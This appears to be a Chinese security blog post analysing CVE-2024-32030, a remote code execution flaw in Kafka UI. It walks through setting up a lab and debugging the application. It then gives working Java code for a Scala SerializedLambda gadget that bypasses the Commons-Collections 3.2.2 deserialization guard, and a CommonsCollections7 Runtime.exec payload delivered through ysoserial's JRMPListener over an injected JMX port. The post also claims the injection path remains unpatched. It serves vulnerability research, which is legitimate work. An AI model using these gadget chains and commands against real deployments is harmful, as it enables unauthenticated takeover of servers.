长亭百川云 - 文章详情

CVE-2024-32030 Apache Kafka UI 远程代码执行漏洞分析

李祺君

88

2024-07-12

1

前言

CVE-2024-32030漏洞修复的文件变更中,将commons-collections从kafka-json-schema-serializer依赖中剔除,更改为 commons-collections4 ,很容易看出此举是为了消除受CC3.2.2组件的反序列化漏洞的影响,但是笔者在看变更的时候发现未授权访问和JMX注入相关的代码未做修改,于是笔者将部署kafka环境到复现漏洞的所有步骤都记录下来,抛砖引玉,供大家交流学习。 

通过本篇文章你将可能学会:如何捕获匿名函数(Lambda表达式)用以反序列化利用 ,如何绕过最新CC3.2.2反序列化防御 ,如何在不编译Jar的情况下Debug项目源码。

2

漏洞描述

Kafka UI是Apache Kafka管理的开源Web UI。Kafka UI API允许用户通过指定网络地址和端口连接到不同的Kafka brokers。作为一个独立的功能,它还提供了通过连接到其JMX端口监视Kafka brokers性能的能力。CVE-2024-32030 中,由于默认情况下Kafka UI未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,进而控制服务器。

3

影响范围

  • Kafka UI ≤ 0.7.1

4

利用前提

满足以下任意一个条件:

  • 设置中将 dynamic.config.enabled 属性设置为true。默认情况下未启用,但在许多 Kafka UI 教程中建议启用它,包括Kafka UI自己的 README.md 和 Document(如下图)。

  • 攻击者可以访问正在连接到Kafka UI的Kafka集群。在这种情况下,攻击者可以利用此漏洞扩展访问权限,并在Kafka UI上执行代码。

5

漏洞分析

Diff分析

先看Diff:

https://github.com/provectus/kafka-ui/commit/83b5a60cc08501b570a0c4d0b4cdfceb1b88d6b7#diff-37e769f4709c1e78c076a5949bbcead74e969725bfd89c7c4ba6d6f229a411e6R36

正如开头所说,官方只修复了commons-collections这部分导致的反序列化漏洞,实际上触发反序列化的入口可能依旧还在。

环境搭建

为了复现和分析这个漏洞,需要准备kafka集群环境并且部署对应版本的kafka-ui,以下是releases地址:

Kafka部署

由于该漏洞的利用点不在kafka集群本身,所以只需要启动kafka集群,启用对应的接口监听即可。

修改\kafka_2.13-3.5.0\config\server.properties配置文件中的IP地址为本机IP,其他为默认

在kafka解压后的目录下,打开一个新终端使用以下命令启动zookeeper服务:

.\bin\windows\zookeeper-server-start.bat .\config\zookeeper.properties

再新建一个终端,使用以下命令启动kafka服务:

.\bin\windows\kafka-server-start.bat .\config\server.properties

还可以使用以下命令创建Topic和发送接收消息(可选):

# 创建topic
.\bin\windows\kafka-topics.bat --create --topic users --partitions 3 --replication-factor 1 --if-not-exists --bootstrap-server 127.0.0.1:9092
 # 查看topic
.\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092
 # 发送消息
.\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic my_first_topic4
 # 接收消息
.\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic my_first_topic4 --from-beginning

Kafka-UI部署&调试

为了方便调试源码,原本打算在本地编译运行,但是由于内网环境,kafka-ui项目编译时使用的pnpm工具需要配置CA证书才能下载对应的依赖进行打包:

大部分教程都只让关闭ssl来绕过证书问题,实则都无效(也可能是被内网防火墙拦截),只好另辟蹊径了。

目前的情况:有kafka-ui项目的源码+已编译成功的jar包,能否直接进行debug调试呢?

答案是可以的,启动jar包时使用 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 参数,然后在对应源码的IDEA项目中新建一个启动Configuration:

配置如下,注意端口号5005和对应的Spring启动类所在的classpathkafka-ui-api:

由于kafka-ui运行在jdk17的环境下,所以这里使用java的绝对路径进行启动,顺便加上启用动态配置的参数-Ddynamic.config.enabled=true(漏洞利用的前置条件之一),于是得到了完整的启动命令行:

C:\env\zulu17.50.19-ca-jdk17.0.11-win_x64\bin\java.exe -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar -Ddynamic.config.enabled=true kafka-ui-api-v0.7.1.jar

运行后会开始监听5005端口:

然后在IDEA中启用刚刚配置的Configuration,开始debug:

成功启用调试,效果如下:

这样就省去了在本地重新编译可执行文件的步骤,直接使用下载的jar包进行调试。

启动成功后直接访问https://localhost:8080/ui/clusters/create-new-cluster,可以创建一个新的Kafka Cluster,里面可以配置Kafka相关的信息,包括Bootstrap Servers地址端口,以及JMX监听端口:

(JMX(Java Management Extensions)是一个用于管理和监控Java应用程序,系统对象,设备和服务的框架,JMX 可以使用 JRMP 作为其传输协议之一,从而实现远程管理。

JRMP 是 Java RMI(Remote Method Invocation,远程方法调用)技术的一部分,专门用于在分布式环境中调用对象的方法。)

Commons-Collections3.2.2反序列化漏洞的防护

在刚刚的Diff分析中可以得知,修复前的反序列化利用点在Commons-Collections3.2.2上,

而熟悉的CC3,CC5,CC6以及CC7利用链都是在Commons-Collections:3.1版本上的,读者可以亲自尝试直接打CC反序列化链子,是没法成功的,Commons-Collections3.2.2中已经无法直接利用。

原因可以在Apache Commons官网找到,一则关于Commons Collections反序列化漏洞安全的公告:

https://commons.apache.org/proper/commons-collections/security-reports.html

部分内容如下:

(3.2.2: de-serialization of unsafe classes in the functor package will trigger an 

"UnsupportedOperationException" by default. In order to re-enable the previous behavior, the system property "org.apache.commons.collections.enableUnsafeSerialization" has to be set to "true".
4.1: de-serialization support for unsafe classes in the functor package has been completely removed (unsafe classes do not implement Serializable anymore.)

翻译过来就是:在3.2.2版本默认情况下,反序列化functor包中的不安全类会触发“UnsupportedOperationException”。如果要启用序列化不安全类的行为,必须将系统属性“org.apache.commons.collects.enableUnsafe Serialization”设置为“true”。而在4.1版本中对functor包中不安全类的反序列化支持已完全移除不安全类不再实现Serializable接口。

在Commons-Collections3.2.2中,
对org.apache.commons.collections.functors.InstantiateTransformer的writeObject和readObject进行了重写,增加了对序列化和反序列化的类的校验:

org.apache.commons.collections.functors.FunctorUtils#checkUnsafeSerialization函数的实现如下:

也就是说当对org.apache.commons.collections.functors.InstantiateTransformer这个类进行序列化或者反序列化的时候,会实时从System Properties中读取org.apache.commons.collections.enableUnsafeSerialization的值,如果该值不为true就会终止序列化或反序列化的执行。

得出结论:只需要将这个属性值改为true,就可以继续打Commons-Collections3.2.2的反序列化漏洞。

Scala-library:击破CC3.2.2防护的利剑

既然找到了可以绕过Commons-Collections3.2.2防护的方法,下一步就是寻找能够修改System Properties的方法,最好是存在一条Gadget可以直接控制System.setProperty(key, value)的key和value。

使用静态分析工具Jar-analyzer,直接去查找Kafka-ui中调用java.lang.System#setProperty的代码:

(Jar Analyzer - 一个JAR包分析工具,批量分析JAR包搜索,方法调用关系搜索,字符串搜索,Spring组件分析,CFG分析,JVM Stack Frame分析,远程分析Tomcat,进阶表达式搜索,自定义SQL查询,字节码查看,字节码指令级的动态调试分析,反编译JAR包一键导出,一键提取序列化数据恶意代码。)

Scala-library中存在2处可以直接调用,很巧的是这两处都为Public,其中setProp()很容易会想到可以通过invokesetter的方法打反序列化:

然而此路并不通,因为上面分析的CC链不能直接打进去,同时也没有存在Fastjson反序列化漏洞的利用gadgets。

那就只剩下第一个匿名函数:$anonfun$addOne$1

匿名函数序列化SerializedLambda的妙用

首先要了解一下匿名函数的函数名为什么是$anonfun$addOne$1?

匿名函数(或lambda表达式)的名称通常会按照一定的命名规则生成:

  • 所有匿名函数都会以$anonfun前缀开头,表明这是一个匿名函数;

  • $addOne 是这个匿名函数所在方法的方法名;

  • $1一个唯一的标识符,用来区分同一个方法中的多个匿名函数,编译器会为同一个方法中定义的每个匿名函数生成一个唯一的编号,从 $1 开始,依次递增。

也就是说这个函数名($anonfun$addOne$1)的意思是addOne方法内第1个匿名函数(Lambda)。

既然匿名函数也有属于自己的“函数名”,那也就可以通过构造SerializedLambda实例获取Lambda函数的序列化对象,笔者整理了一下SerializedLambda每个入参的含义,这样便于理解它是如何捕获匿名函数的:

序号

属性

含义

1

capturingClass    

lambda表达式出现的类

2

functionalInterfaceClass

以斜杠分隔的形式表示返回的lambda对象的静态类型的名称   

3

 functionalInterfaceMethodName 

lambda工厂现场的当前功能接口方法的名称

4

 functionalInterfaceMethodSignature 

lambda工厂现场存在的功能接口方法的签名

5

implMethodKind    

实现方法的方法句柄类型    

6

implClass

以斜杠分隔的形式表示包含实现方法的类的名称

7

implMethodName

实现方法的名称    

8

implMethodSignature

实现方法的签名

9

instantiatedMethodType

类型变量替换为捕获站点实例化后的主要功能接口方法的签名

10

capturedArgs

lambda工厂站点的动态参数,表示lambda捕获的变量    

构造SerializedLambda实例:

Tuple2 prop = new scala.Tuple2<>(key, value);
SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,
            "scala/Function0", "apply", "()Ljava/lang/Object;",
            MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",
            "$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",
            "()Lscala/sys/SystemProperties;", new Object[]{prop});

从匿名函数可以知道,下面只要找到序列化时有触发该函数的.apply()调用的地方,就可以执行System.setProperty()了,key和value从new scala.Tuple2<>(key, value)中取得。

Scala中的Gadgets分析

找到在iterable().next()中存在这样的实现:

从类名Iterator$$anon$22可以看出这也是一个Lambda表达式,通过IDEA可以更直观的看出这是位于scala.collection.Iterator#fill(int, int, scala.Function0)的Lambda表达式:

当这个scala.collection.Iterator对象在scala.math.Ordering.IterableOrdering这个比较器(scala提供的Comparator)中进行compare()操作时,会触发上面的next(),导致匿名函数的执行:

最后就是反序列化的入口,需要在kafka-ui中找到在一个类,满足以下3个条件:

  • 实现Serializable接口

  • 反序列化readObject()时调用Comparator的compare()函数

  • Comparator可控

Comparator类用的最多的地方就是Map和他的众多“小弟”(实现类以及实现类的子类),在众多Map中找到了ConcurrentSkipListMap,它的readObject()方法如下:

private void readObject(final java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in the Comparator and any hidden stuff
        s.defaultReadObject();
 // Same idea as buildFromSorted
        @SuppressWarnings("unchecked")
        Index<K,V>[] preds = (Index<K,V>[])new Index<?,?>[64];
        Node<K,V> bp = new Node<K,V>(null, null, null);
        Index<K,V> h = preds[0] = new Index<K,V>(bp, null, null);
        Comparator<? super K> cmp = comparator;
        K prevKey = null;
        long count = 0;
 for (;;) {
            K k = (K)s.readObject();
            if (k == null)
                break;
            V v = (V)s.readObject();
            if (v == null)
                throw new NullPointerException();
            if (prevKey != null && cpr(cmp, prevKey, k) > 0)
                throw new IllegalStateException("out of order");
   ......
    }

cpr()方法如下:

/**
     * Compares using comparator or natural ordering if null.
     * Called only by methods that have performed required type checks.
     */
    @SuppressWarnings({"unchecked", "rawtypes"})
    static int cpr(Comparator c, Object x, Object y) {
        return (c != null) ? c.compare(x, y) : ((Comparable)x).compareTo(y);
    }

简而言之,当ConcurrentSkipListMap在readObject时,会遍历前后两个key,并使用给定的比较器(Comparator)进行比较操作(compare)。

那只需要在构造payload时创建一个ConcurrentSkipListMap对象,在里面存入前后两个Map,而这两个Map的key必须为scala.collection.View$Fill包含scala.Function0()的构造函数的实例,这个实例最终会调用 view.iterable().next(),同时System.setProperty的lambda将会被执行。

给出最终的反序列化Payload生成代码:

private static Object createFuncFromSerializedLambda(SerializedLambda serialized) throws IOException, ClassNotFoundException {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(serialized);
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
    return ois.readObject();
}
 // For scala version 2.13.x
private static Object createSetSystemPropertyGadgetScala213(String key, String value) throws Exception {
    ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
 Tuple2 prop = new scala.Tuple2<>(key, value);
 // Should be: 142951686315914362
    long versionUID = ObjectStreamClass.lookup(scala.Tuple2.class).getSerialVersionUID();
    System.out.println("VersionUID: " + versionUID);
 SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,
                                                                    "scala/Function0", "apply", "()Ljava/lang/Object;",
                                                                    MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",
                                                                    "$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",
                                                                    "()Lscala/sys/SystemProperties;", new Object[]{prop});
 Class<?> clazz = Class.forName("scala.collection.View$Fill");
    Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
    Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));
 clazz = Class.forName("scala.math.Ordering$IterableOrdering");
    ctor = rf.newConstructorForSerialization(
        clazz, StubClassConstructor.class.getDeclaredConstructor()
    );
 Object iterableOrdering = ctor.newInstance();
 // 在readObject中, ConcurrentSkipListMap最终会调用comparator.compare(Object x, Object y);
    // 在ConcurrentSkipList初始化时先填入无用comparator (如果不先添加comparator的话就无法往里面填充数据,同时也为了防止提前触发)
    ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);
 // 将view填入map, 当view.iterable().next()被调用, System.setProperty lambda将被执行
    map.put(view, 1);
    map.put(view, 2);
 // Replace the comparator with the IterableComparator
    // IterableComparator is responsible for executing the view.iterable().next() on comparison
    Field f = map.getClass().getDeclaredField("comparator");
    f.setAccessible(true);
    f.set(map, iterableOrdering);
    return map;
}
 public Object getObject(final String command) throws Exception {
    //e.g command = "org.apache.commons.collections.enableUnsafeSerialization:true");
    String[] nameValue = command.split(":");
    return createSetSystemPropertyGadgetScala213(nameValue[0], nameValue[1]);
}

未授权访问Kafka-ui修改JMX端口打入CC7

访问8080默认端口,进入Kafka-ui,点击配置Kafka Cluster(当然再新建一个也是可以的):

点开Metrics配置项,选择Metrics Type为JMX,并配置任意一个端口用于监听(记住这个端口号):

还记得前面说过的一句话吗? ”JMX 可以使用 JRMP 作为其传输协议之一

著名的YSOSerial工具提供了一个JRMPListener类(ysoserial的使用请自行查阅教程,不再赘述),用JRMP协议来达成JNDI注入反序列化payload,执行恶意代码。

第一步:破盾

首先使用前面的Scala反序列化Payload修改系统属性org.apache.commons.collections.enableUnsafeSerialization的值为true,绕过Commons-Collections3.2.2的防御,启动参数配置如下(分别是端口,Payload名称,自定义Payload):

1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

端口为刚刚配置的JMX端口1718:

启动JRMPListener,触发反序列化:

可以在kafka-ui中调试,alt+F8打开Evaluate窗口验证:

第二步:成功利用

接下来使用YSOSerial自带的CommonsCollections7利用链来打远程命令执行反序列化漏洞,Payload如下:

public Hashtable getObject(final String command) throws Exception {
 // Reusing transformer chain and LazyMap gadgets from previous payloads
    final String[] execArgs = new String[]{command};
 final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
 final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                               new Class[]{String.class, Class[].class},
                               new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
                               new Class[]{Object.class, Object[].class},
                               new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
                               new Class[]{String.class},
                               execArgs),
        new ConstantTransformer(1)};
 Map innerMap1 = new HashMap();
    Map innerMap2 = new HashMap();
 // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
    Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
    lazyMap1.put("yy", 1);
 Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
    lazyMap2.put("zZ", 1);
 // Use the colliding Maps as keys in Hashtable
    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, 1);
    hashtable.put(lazyMap2, 2);
 Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
 // Needed to ensure hash collision after previous manipulations
    lazyMap2.remove("yy");
 return hashtable;
}

设置JRMPListener启动参数:

1718 CommonsCollections7 "calc.exe"

开启JRMPListener,注入CC7,完成利用:

6

文末总结

回顾一下整个攻击链,首先需要利用Kafka-ui集成的Scala-Library的gadget修改系统属性,绕过最新的CC3.2.2关于反序列化漏洞的防御,然后是常规的JNDI注入CC3或者CC7反序列化的漏洞利用。

官方在最新版Kafka-ui 0.7.2中关于CVE-2024-32030的修复中,仅将commons-collections3.2.2换成了commons-collections4,也就是说Kafka-ui官方并没有对未授权访问后台通过JNDI注入修改系统属性做修复。

那么关于System.Properties可控是否存在漏洞利用呢?和银针安全实验室大佬 @黄连冠 讨论过,“这个最简单利用方式是结合System.loadLibrary()去设置一个动态链接库的目录,但是高版本jdk把java.lang.ClassLoader#loadLibrary的实现改了”。

但LoadLibrary是无法实时生效的,仅在JVM启动时加载。在这篇文章里面java.library.path这个System Properties是Solr打完反序列化后用来回显执行结果的。目前而笔者遇到的情况是 (JDK17)只能修改Java Properties的值,无法重启JVM(重启了也会随着properties的重新加载而覆盖),除了用来绕过CC3.2.2的反序列化限制,好像暂时没找到其他利用,或许还能找到新的利用链?毕竟在最新的修复版本中JNDI注入依旧存在。

本篇文章抛砖引玉,欢迎大家讨论交流~

7

参考链接

https://github.com/provectus/kafka-ui/releases

https://nvd.nist.gov/vuln/detail/CVE-2024-32030

https://docs.kafka-ui.provectus.io/configuration/configuration-wizard

https://github.com/jar-analyzer/jar-analyzer

https://www.runoob.com/manual/jdk11api/java.base/java/lang/invoke/SerializedLambda.html

https://www.cnblogs.com/throwable/p/15611586.html

https://avd.aliyun.com/detail?id=AVD-2024-32030

https://www.freebuf.com/articles/web/388411.html

https://commons.apache.org/proper/commons-collections/security-reports.html

https://securitylab.github.com/advisories/GHSL-2023-229\_GHSL-2023-230\_kafka-ui/

本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

推荐阅读

CVE-2024-24788 Golang DNS解析过程中的DOS漏洞

奖励范围更新!华为乾坤现已加入华为安全奖励计划~

华为终端安全奖励计划翻倍活动即日开启,点击踏上您的寻漏征程!

点这里

关注我们,一键三连~

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2